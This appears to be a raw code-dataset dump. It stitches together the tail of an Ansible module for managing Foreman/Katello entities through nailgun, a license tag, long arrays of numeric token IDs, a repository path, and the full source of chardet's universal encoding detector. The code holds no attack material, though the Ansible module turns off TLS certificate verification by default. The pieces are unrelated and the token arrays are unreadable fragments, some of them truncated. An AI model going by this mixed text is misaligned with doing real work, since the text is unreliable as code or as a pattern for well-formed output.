product: Red Hat Enterprise Linux Server organization: Default Organization basearch: x86_64 releasever: 7 ''' RETURN = '''# ''' import datetime import os import traceback try: from nailgun import entities, entity_fields, entity_mixins from nailgun.config import ServerConfig HAS_NAILGUN_PACKAGE = True except: HAS_NAILGUN_PACKAGE = False from ansible.module_utils.basic import AnsibleModule from ansible.module_utils._text import to_native class NailGun(object): def __init__(self, server, entities, module): self._server = server self._entities = entities self._module = module entity_mixins.TASK_TIMEOUT = 1000 def find_organization(self, name, **params): org = self._entities.Organization(self._server, name=name, **params) response = org.search(set(), {'search': 'name={}'.format(name)}) if len(response) == 1: return response[0] else: self._module.fail_json(msg="No organization found for %s" % name) def find_lifecycle_environment(self, name, organization): org = self.find_organization(organization) lifecycle_env = self._entities.LifecycleEnvironment(self._server, name=name, organization=org) response = lifecycle_env.search() if len(response) == 1: return response[0] else: self._module.fail_json(msg="No Lifecycle Found found for %s" % name) def find_product(self, name, organization): org = self.find_organization(organization) product = self._entities.Product(self._server, name=name, organization=org) response = product.search() if len(response) == 1: return response[0] else: self._module.fail_json(msg="No Product found for %s" % name) def find_repository(self, name, product, organization): product = self.find_product(product, organization) repository = self._entities.Repository(self._server, name=name, product=product) repository._fields['organization'] = entity_fields.OneToOneField(entities.Organization) repository.organization = product.organization response = repository.search() if len(response) == 1: return response[0] else: self._module.fail_json(msg="No Repository found for %s" % name) def find_content_view(self, name, organization): org = self.find_organization(organization) content_view = self._entities.ContentView(self._server, name=name, organization=org) response = content_view.search() if len(response) == 1: return response[0] else: self._module.fail_json(msg="No Content View found for %s" % name) def organization(self, params): name = params['name'] del params['name'] org = self.find_organization(name, **params) if org: org = self._entities.Organization(self._server, name=name, id=org.id, **params) org.update() else: org = self._entities.Organization(self._server, name=name, **params) org.create() return True def manifest(self, params): org = self.find_organization(params['organization']) params['organization'] = org.id try: file = open(os.getcwd() + params['content'], 'r') content = file.read() finally: file.close() manifest = self._entities.Subscription(self._server) try: manifest.upload( data={'organization_id': org.id}, files={'content': content} ) return True except Exception as e: if "Import is the same as existing data" in e.message: return False else: self._module.fail_json(msg="Manifest import failed with %s" % to_native(e), exception=traceback.format_exc()) def product(self, params): org = self.find_organization(params['organization']) params['organization'] = org.id product = self._entities.Product(self._server, **params) response = product.search() if len(response) == 1: product.id = response[0].id product.update() else: product.create() return True def sync_product(self, params): org = self.find_organization(params['organization']) product = self.find_product(params['name'], org.name) return product.sync() def repository(self, params): product = self.find_product(params['product'], params['organization']) params['product'] = product.id del params['organization'] repository = self._entities.Repository(self._server, **params) repository._fields['organization'] = entity_fields.OneToOneField(entities.Organization) repository.organization = product.organization response = repository.search() if len(response) == 1: repository.id = response[0].id repository.update() else: repository.create() return True def sync_repository(self, params): org = self.find_organization(params['organization']) repository = self.find_repository(params['name'], params['product'], org.name) return repository.sync() def repository_set(self, params): product = self.find_product(params['product'], params['organization']) del params['product'] del params['organization'] if not product: return False else: reposet = self._entities.RepositorySet(self._server, product=product, name=params['name']) reposet = reposet.search()[0] formatted_name = [params['name'].replace('(', '').replace(')', '')] formatted_name.append(params['basearch']) if 'releasever' in params: formatted_name.append(params['releasever']) formatted_name = ' '.join(formatted_name) repository = self._entities.Repository(self._server, product=product, name=formatted_name) repository._fields['organization'] = entity_fields.OneToOneField(entities.Organization) repository.organization = product.organization repository = repository.search() if len(repository) == 0: if 'releasever' in params: reposet.enable(data={'basearch': params['basearch'], 'releasever': params['releasever']}) else: reposet.enable(data={'basearch': params['basearch']}) return True def sync_plan(self, params): org = self.find_organization(params['organization']) params['organization'] = org.id params['sync_date'] = datetime.datetime.strptime(params['sync_date'], "%H:%M") products = params['products'] del params['products'] sync_plan = self._entities.SyncPlan( self._server, name=params['name'], organization=org ) response = sync_plan.search() sync_plan.sync_date = params['sync_date'] sync_plan.interval = params['interval'] if len(response) == 1: sync_plan.id = response[0].id sync_plan.update() else: response = sync_plan.create() sync_plan.id = response[0].id if products: ids = [] for name in products: product = self.find_product(name, org.name) ids.append(product.id) sync_plan.add_products(data={'product_ids': ids}) return True def content_view(self, params): org = self.find_organization(params['organization']) content_view = self._entities.ContentView(self._server, name=params['name'], organization=org) response = content_view.search() if len(response) == 1: content_view.id = response[0].id content_view.update() else: content_view = content_view.create() if params['repositories']: repos = [] for repository in params['repositories']: repository = self.find_repository(repository['name'], repository['product'], org.name) repos.append(repository) content_view.repository = repos content_view.update(['repository']) def find_content_view_version(self, name, organization, environment): env = self.find_lifecycle_environment(environment, organization) content_view = self.find_content_view(name, organization) content_view_version = self._entities.ContentViewVersion(self._server, content_view=content_view) response = content_view_version.search(['content_view'], {'environment_id': env.id}) if len(response) == 1: return response[0] else: self._module.fail_json(msg="No Content View version found for %s" % response) def publish(self, params): content_view = self.find_content_view(params['name'], params['organization']) return content_view.publish() def promote(self, params): to_environment = self.find_lifecycle_environment(params['to_environment'], params['organization']) version = self.find_content_view_version(params['name'], params['organization'], params['from_environment']) data = {'environment_id': to_environment.id} return version.promote(data=data) def lifecycle_environment(self, params): org = self.find_organization(params['organization']) prior_env = self.find_lifecycle_environment(params['prior'], params['organization']) lifecycle_env = self._entities.LifecycleEnvironment(self._server, name=params['name'], organization=org, prior=prior_env) response = lifecycle_env.search() if len(response) == 1: lifecycle_env.id = response[0].id lifecycle_env.update() else: lifecycle_env.create() return True def activation_key(self, params): org = self.find_organization(params['organization']) activation_key = self._entities.ActivationKey(self._server, name=params['name'], organization=org) response = activation_key.search() if len(response) == 1: activation_key.id = response[0].id activation_key.update() else: activation_key.create() if params['content_view']: content_view = self.find_content_view(params['content_view'], params['organization']) lifecycle_environment = self.find_lifecycle_environment(params['lifecycle_environment'], params['organization']) activation_key.content_view = content_view activation_key.environment = lifecycle_environment activation_key.update() return True def main(): module = AnsibleModule( argument_spec=dict( server_url=dict(type='str', required=True), username=dict(type='str', required=True, no_log=True), password=dict(type='str', required=True, no_log=True), entity=dict(type='str', required=True), action=dict(type='str'), verify_ssl=dict(type='bool', default=False), params=dict(type='dict', required=True, no_log=True), ), supports_check_mode=True, ) if not HAS_NAILGUN_PACKAGE: module.fail_json(msg="Missing required nailgun module (check docs or install with: pip install nailgun") server_url = module.params['server_url'] username = module.params['username'] password = module.params['password'] entity = module.params['entity'] action = module.params['action'] params = module.params['params'] verify_ssl = module.params['verify_ssl'] server = ServerConfig( url=server_url, auth=(username, password), verify=verify_ssl ) ng = NailGun(server, entities, module) # Lets make an connection to the server with username and password try: org = entities.Organization(server) org.search() except Exception as e: module.fail_json(msg="Failed to connect to Foreman server: %s " % e) result = False if entity == 'product': if action == 'sync': result = ng.sync_product(params) else: result = ng.product(params) elif entity == 'repository': if action == 'sync': result = ng.sync_repository(params) else: result = ng.repository(params) elif entity == 'manifest': result = ng.manifest(params) elif entity == 'repository_set': result = ng.repository_set(params) elif entity == 'sync_plan': result = ng.sync_plan(params) elif entity == 'content_view': if action == 'publish': result = ng.publish(params) elif action == 'promote': result = ng.promote(params) else: result = ng.content_view(params) elif entity == 'lifecycle_environment': result = ng.lifecycle_environment(params) elif entity == 'activation_key': result = ng.activation_key(params) else: module.fail_json(changed=False, result="Unsupported entity supplied") module.exit_json(changed=result, result="%s updated" % entity) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 26, 334, 67, 9, 7800, 12, 662, 1567, 577, 869, 352, 706, 665, 281, 530, 7821, 352, 706, 32, 6799, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1022, 21163, 320, 199, 3612, 63, 1802, 26, 14944, 1804, 21163, 320, 26250, 199, 1802, 26, 272, 446, 22819, 314, 10041, 402, 1804, 21163, 320, 5944, 6272, 2195, 21684, 1237, 1654, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 199, 13, 662, 1567, 577, 869, 352, 706, 8593, 24528, 352, 706, 9, 199, 7538, 26, 272, 446, 302, 1054, 17924, 2356, 378, 14, 1651, 14, 16, 272, 446, 2366, 2356, 499, 14, 22, 272, 446, 2197, 199, 1419, 26, 272, 1654, 63, 633, 26, 267, 1369, 26, 288, 446, 2851, 402, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 3434, 26, 267, 1369, 26, 288, 446, 29739, 641, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 2505, 26, 267, 1369, 26, 288, 446, 13635, 367, 922, 18549, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 4642, 26, 267, 1369, 26, 288, 446, 710, 21684, 1237, 2073, 626, 314, 1595, 911, 506, 10585, 641, 334, 69, 14, 71, 14, 13237, 12, 1591, 680, 267, 1415, 26, 2549, 272, 1862, 26, 267, 1369, 26, 288, 446, 3897, 4568, 370, 314, 4642, 2073, 370, 663, 503, 5283, 315, 2600, 1475, 334, 69, 14, 71, 14, 536, 12, 1369, 680, 267, 1415, 26, 2549, 199, 2344, 199, 199, 8918, 275, 1449, 199, 2595, 199, 3, 5870, 5679, 26, 199, 199, 13, 536, 26, 2790, 12705, 523, 1022, 21163, 320, 26, 489, 3434, 26, 4628, 489, 2505, 26, 4628, 489, 1654, 63, 633, 26, 4178, 921, 3183, 1000, 14, 957, 489, 4642, 26, 3336, 489, 1862, 26, 267, 536, 26, 32267, 14543, 1520, 523, 13080, 63, 475, 26, 11667, 199, 199, 3, 8351, 29639, 5679, 26, 199, 3, 1022, 21163, 320, 14, 11714, 199, 2595, 199, 13, 536, 26, 7370, 536, 7820, 523, 1022, 21163, 320, 26, 489, 3434, 26, 4628, 489, 2505, 26, 4628, 489, 1654, 63, 633, 26, 4178, 921, 3183, 1000, 14, 957, 489, 4642, 26, 7370, 4642, 7820, 489, 1862, 26, 7370, 1862, 7820, 523, 13080, 63, 475, 26, 11667, 199, 199, 3, 6527, 14, 11714, 199, 2595, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 29314, 9711, 272, 4642, 26, 15451, 7612, 63, 5418, 272, 1862, 26, 489, 536, 26, 29314, 489, 6791, 26, 11243, 489, 13237, 26, 3758, 18863, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 32267, 14543, 12705, 272, 4642, 26, 3336, 272, 1862, 26, 489, 536, 26, 32267, 14543, 1520, 489, 13237, 26, 3758, 18863, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 1520, 14, 18, 24426, 272, 4642, 26, 7611, 272, 1862, 26, 489, 536, 26, 32267, 14543, 1520, 14, 18, 489, 3336, 26, 32267, 14543, 1520, 489, 13237, 26, 3758, 18863, 489, 1564, 63, 466, 26, 24717, 489, 1166, 26, 1455, 921, 12324, 14, 2497, 14543, 14, 1308, 15, 2497, 14543, 15, 23, 15, 736, 15, 88, 1184, 63, 772, 15, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 489, 536, 26, 2790, 32267, 14543, 1520, 10935, 489, 4642, 26, 1564, 63, 1345, 489, 1862, 26, 267, 536, 26, 32267, 14543, 1520, 10935, 267, 13237, 26, 3758, 18863, 267, 23737, 26, 881, 446, 536, 26, 32267, 14543, 1520, 14, 18, 288, 3336, 26, 32267, 14543, 1520, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 489, 536, 26, 12030, 820, 24771, 12705, 489, 4642, 26, 7611, 63, 409, 489, 1862, 26, 267, 536, 26, 9572, 13002, 29949, 10130, 1520, 7146, 334, 32067, 83, 9, 267, 3336, 26, 9572, 13002, 29949, 10130, 7146, 267, 13237, 26, 3758, 18863, 267, 1300, 1047, 26, 671, 1184, 63, 772, 267, 4683, 422, 26, 1520, 199, 2344, 199, 199, 9677, 275, 1449, 3, 1449, 199, 199, 646, 2197, 199, 646, 747, 199, 646, 5190, 199, 199, 893, 26, 272, 687, 302, 1054, 17924, 492, 9045, 12, 4642, 63, 955, 12, 4642, 63, 30192, 272, 687, 302, 1054, 17924, 14, 888, 492, 7146, 2028, 272, 7509, 63, 46, 6593, 39, 1734, 63, 19265, 275, 715, 199, 2590, 26, 272, 7509, 63, 46, 6593, 39, 1734, 63, 19265, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 533, 653, 1054, 39, 324, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1654, 12, 9045, 12, 859, 304, 267, 291, 423, 1000, 275, 1654, 267, 291, 423, 8327, 275, 9045, 267, 291, 423, 578, 275, 859, 267, 4642, 63, 30192, 14, 17179, 63, 8899, 275, 5198, 339, 347, 2342, 63, 9071, 8, 277, 12, 536, 12, 1011, 1162, 304, 267, 5981, 275, 291, 423, 8327, 14, 15928, 8, 277, 423, 1000, 12, 536, 29, 354, 12, 1011, 1162, 9, 267, 1177, 275, 5981, 14, 1733, 8, 409, 1062, 791, 1733, 356, 283, 354, 27244, 908, 8, 354, 11466, 398, 340, 822, 8, 1310, 9, 508, 413, 26, 288, 372, 1177, 59, 16, 61, 267, 587, 26, 288, 291, 423, 578, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 13237, 1911, 367, 450, 83, 2, 450, 536, 9, 339, 347, 2342, 63, 28346, 63, 5418, 8, 277, 12, 536, 12, 13237, 304, 267 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 26, 334, 67, 9, 7800, 12, 662, 1567, 577, 869, 352, 706, 665, 281, 530, 7821, 352, 706, 32, 6799, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1022, 21163, 320, 199, 3612, 63, 1802, 26, 14944, 1804, 21163, 320, 26250, 199, 1802, 26, 272, 446, 22819, 314, 10041, 402, 1804, 21163, 320, 5944, 6272, 2195, 21684, 1237, 1654, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 199, 13, 662, 1567, 577, 869, 352, 706, 8593, 24528, 352, 706, 9, 199, 7538, 26, 272, 446, 302, 1054, 17924, 2356, 378, 14, 1651, 14, 16, 272, 446, 2366, 2356, 499, 14, 22, 272, 446, 2197, 199, 1419, 26, 272, 1654, 63, 633, 26, 267, 1369, 26, 288, 446, 2851, 402, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 3434, 26, 267, 1369, 26, 288, 446, 29739, 641, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 2505, 26, 267, 1369, 26, 288, 446, 13635, 367, 922, 18549, 21684, 1237, 1654, 14, 267, 1415, 26, 2549, 272, 4642, 26, 267, 1369, 26, 288, 446, 710, 21684, 1237, 2073, 626, 314, 1595, 911, 506, 10585, 641, 334, 69, 14, 71, 14, 13237, 12, 1591, 680, 267, 1415, 26, 2549, 272, 1862, 26, 267, 1369, 26, 288, 446, 3897, 4568, 370, 314, 4642, 2073, 370, 663, 503, 5283, 315, 2600, 1475, 334, 69, 14, 71, 14, 536, 12, 1369, 680, 267, 1415, 26, 2549, 199, 2344, 199, 199, 8918, 275, 1449, 199, 2595, 199, 3, 5870, 5679, 26, 199, 199, 13, 536, 26, 2790, 12705, 523, 1022, 21163, 320, 26, 489, 3434, 26, 4628, 489, 2505, 26, 4628, 489, 1654, 63, 633, 26, 4178, 921, 3183, 1000, 14, 957, 489, 4642, 26, 3336, 489, 1862, 26, 267, 536, 26, 32267, 14543, 1520, 523, 13080, 63, 475, 26, 11667, 199, 199, 3, 8351, 29639, 5679, 26, 199, 3, 1022, 21163, 320, 14, 11714, 199, 2595, 199, 13, 536, 26, 7370, 536, 7820, 523, 1022, 21163, 320, 26, 489, 3434, 26, 4628, 489, 2505, 26, 4628, 489, 1654, 63, 633, 26, 4178, 921, 3183, 1000, 14, 957, 489, 4642, 26, 7370, 4642, 7820, 489, 1862, 26, 7370, 1862, 7820, 523, 13080, 63, 475, 26, 11667, 199, 199, 3, 6527, 14, 11714, 199, 2595, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 29314, 9711, 272, 4642, 26, 15451, 7612, 63, 5418, 272, 1862, 26, 489, 536, 26, 29314, 489, 6791, 26, 11243, 489, 13237, 26, 3758, 18863, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 32267, 14543, 12705, 272, 4642, 26, 3336, 272, 1862, 26, 489, 536, 26, 32267, 14543, 1520, 489, 13237, 26, 3758, 18863, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 272, 536, 26, 2790, 1520, 14, 18, 24426, 272, 4642, 26, 7611, 272, 1862, 26, 489, 536, 26, 32267, 14543, 1520, 14, 18, 489, 3336, 26, 32267, 14543, 1520, 489, 13237, 26, 3758, 18863, 489, 1564, 63, 466, 26, 24717, 489, 1166, 26, 1455, 921, 12324, 14, 2497, 14543, 14, 1308, 15, 2497, 14543, 15, 23, 15, 736, 15, 88, 1184, 63, 772, 15, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 489, 536, 26, 2790, 32267, 14543, 1520, 10935, 489, 4642, 26, 1564, 63, 1345, 489, 1862, 26, 267, 536, 26, 32267, 14543, 1520, 10935, 267, 13237, 26, 3758, 18863, 267, 23737, 26, 881, 446, 536, 26, 32267, 14543, 1520, 14, 18, 288, 3336, 26, 32267, 14543, 1520, 199, 199, 13, 2387, 26, 1022, 21163, 320, 14, 11714, 523, 6802, 26, 489, 536, 26, 12030, 820, 24771, 12705, 489, 4642, 26, 7611, 63, 409, 489, 1862, 26, 267, 536, 26, 9572, 13002, 29949, 10130, 1520, 7146, 334, 32067, 83, 9, 267, 3336, 26, 9572, 13002, 29949, 10130, 7146, 267, 13237, 26, 3758, 18863, 267, 1300, 1047, 26, 671, 1184, 63, 772, 267, 4683, 422, 26, 1520, 199, 2344, 199, 199, 9677, 275, 1449, 3, 1449, 199, 199, 646, 2197, 199, 646, 747, 199, 646, 5190, 199, 199, 893, 26, 272, 687, 302, 1054, 17924, 492, 9045, 12, 4642, 63, 955, 12, 4642, 63, 30192, 272, 687, 302, 1054, 17924, 14, 888, 492, 7146, 2028, 272, 7509, 63, 46, 6593, 39, 1734, 63, 19265, 275, 715, 199, 2590, 26, 272, 7509, 63, 46, 6593, 39, 1734, 63, 19265, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 533, 653, 1054, 39, 324, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1654, 12, 9045, 12, 859, 304, 267, 291, 423, 1000, 275, 1654, 267, 291, 423, 8327, 275, 9045, 267, 291, 423, 578, 275, 859, 267, 4642, 63, 30192, 14, 17179, 63, 8899, 275, 5198, 339, 347, 2342, 63, 9071, 8, 277, 12, 536, 12, 1011, 1162, 304, 267, 5981, 275, 291, 423, 8327, 14, 15928, 8, 277, 423, 1000, 12, 536, 29, 354, 12, 1011, 1162, 9, 267, 1177, 275, 5981, 14, 1733, 8, 409, 1062, 791, 1733, 356, 283, 354, 27244, 908, 8, 354, 11466, 398, 340, 822, 8, 1310, 9, 508, 413, 26, 288, 372, 1177, 59, 16, 61, 267, 587, 26, 288, 291, 423, 578, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 13237, 1911, 367, 450, 83, 2, 450, 536, 9, 339, 347, 2342, 63, 28346, 63, 5418, 8, 277, 12, 536, 12, 13237, 304, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mika76/Wox
PythonHome/Lib/site-packages/requests/packages/chardet/universaldetector.py
744
6831
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants import sys import codecs from .latin1prober import Latin1Prober # windows-1252 from .mbcsgroupprober import MBCSGroupProber # multi-byte character sets from .sbcsgroupprober import SBCSGroupProber # single-byte character sets from .escprober import EscCharSetProber # ISO-2122, etc. import re MINIMUM_THRESHOLD = 0.20 ePureAscii = 0 eEscAscii = 1 eHighbyte = 2 class UniversalDetector: def __init__(self): self._highBitDetector = re.compile(b'[\x80-\xFF]') self._escDetector = re.compile(b'(\033|~{)') self._mEscCharSetProber = None self._mCharSetProbers = [] self.reset() def reset(self): self.result = {'encoding': None, 'confidence': 0.0} self.done = False self._mStart = True self._mGotData = False self._mInputState = ePureAscii self._mLastChar = b'' if self._mEscCharSetProber: self._mEscCharSetProber.reset() for prober in self._mCharSetProbers: prober.reset() def feed(self, aBuf): if self.done: return aLen = len(aBuf) if not aLen: return if not self._mGotData: # If the data starts with BOM, we know it is UTF if aBuf[:3] == codecs.BOM: # EF BB BF UTF-8 with BOM self.result = {'encoding': "UTF-8", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_LE: # FF FE 00 00 UTF-32, little-endian BOM self.result = {'encoding': "UTF-32LE", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_BE: # 00 00 FE FF UTF-32, big-endian BOM self.result = {'encoding': "UTF-32BE", 'confidence': 1.0} elif aBuf[:4] == b'\xFE\xFF\x00\x00': # FE FF 00 00 UCS-4, unusual octet order BOM (3412) self.result = { 'encoding': "X-ISO-10646-UCS-4-3412", 'confidence': 1.0 } elif aBuf[:4] == b'\x00\x00\xFF\xFE': # 00 00 FF FE UCS-4, unusual octet order BOM (2143) self.result = { 'encoding': "X-ISO-10646-UCS-4-2143", 'confidence': 1.0 } elif aBuf[:2] == codecs.BOM_LE: # FF FE UTF-16, little endian BOM self.result = {'encoding': "UTF-16LE", 'confidence': 1.0} elif aBuf[:2] == codecs.BOM_BE: # FE FF UTF-16, big endian BOM self.result = {'encoding': "UTF-16BE", 'confidence': 1.0} self._mGotData = True if self.result['encoding'] and (self.result['confidence'] > 0.0): self.done = True return if self._mInputState == ePureAscii: if self._highBitDetector.search(aBuf): self._mInputState = eHighbyte elif ((self._mInputState == ePureAscii) and self._escDetector.search(self._mLastChar + aBuf)): self._mInputState = eEscAscii self._mLastChar = aBuf[-1:] if self._mInputState == eEscAscii: if not self._mEscCharSetProber: self._mEscCharSetProber = EscCharSetProber() if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': self._mEscCharSetProber.get_charset_name(), 'confidence': self._mEscCharSetProber.get_confidence()} self.done = True elif self._mInputState == eHighbyte: if not self._mCharSetProbers: self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(), Latin1Prober()] for prober in self._mCharSetProbers: if prober.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': prober.get_charset_name(), 'confidence': prober.get_confidence()} self.done = True break def close(self): if self.done: return if not self._mGotData: if constants._debug: sys.stderr.write('no data received!\n') return self.done = True if self._mInputState == ePureAscii: self.result = {'encoding': 'ascii', 'confidence': 1.0} return self.result if self._mInputState == eHighbyte: proberConfidence = None maxProberConfidence = 0.0 maxProber = None for prober in self._mCharSetProbers: if not prober: continue proberConfidence = prober.get_confidence() if proberConfidence > maxProberConfidence: maxProberConfidence = proberConfidence maxProber = prober if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD): self.result = {'encoding': maxProber.get_charset_name(), 'confidence': maxProber.get_confidence()} return self.result if constants._debug: sys.stderr.write('no probers hit minimum threshhold\n') for prober in self._mCharSetProbers[0].mProbers: if not prober: continue sys.stderr.write('%s confidence = %s\n' % (prober.get_charset_name(), prober.get_confidence()))
mit
[ 6565, 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 17728, 29347, 5960, 17842, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 12521, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 257, 428, 3577, 5244, 279, 676, 446, 3379, 445, 1233, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 504, 1275, 492, 5262, 199, 646, 984, 199, 646, 6010, 199, 504, 1275, 10378, 17, 19903, 492, 23864, 17, 8029, 221, 327, 10061, 13, 19364, 199, 504, 1275, 887, 1259, 923, 19903, 492, 19487, 3298, 2448, 8029, 221, 327, 3510, 13, 4414, 4528, 5951, 199, 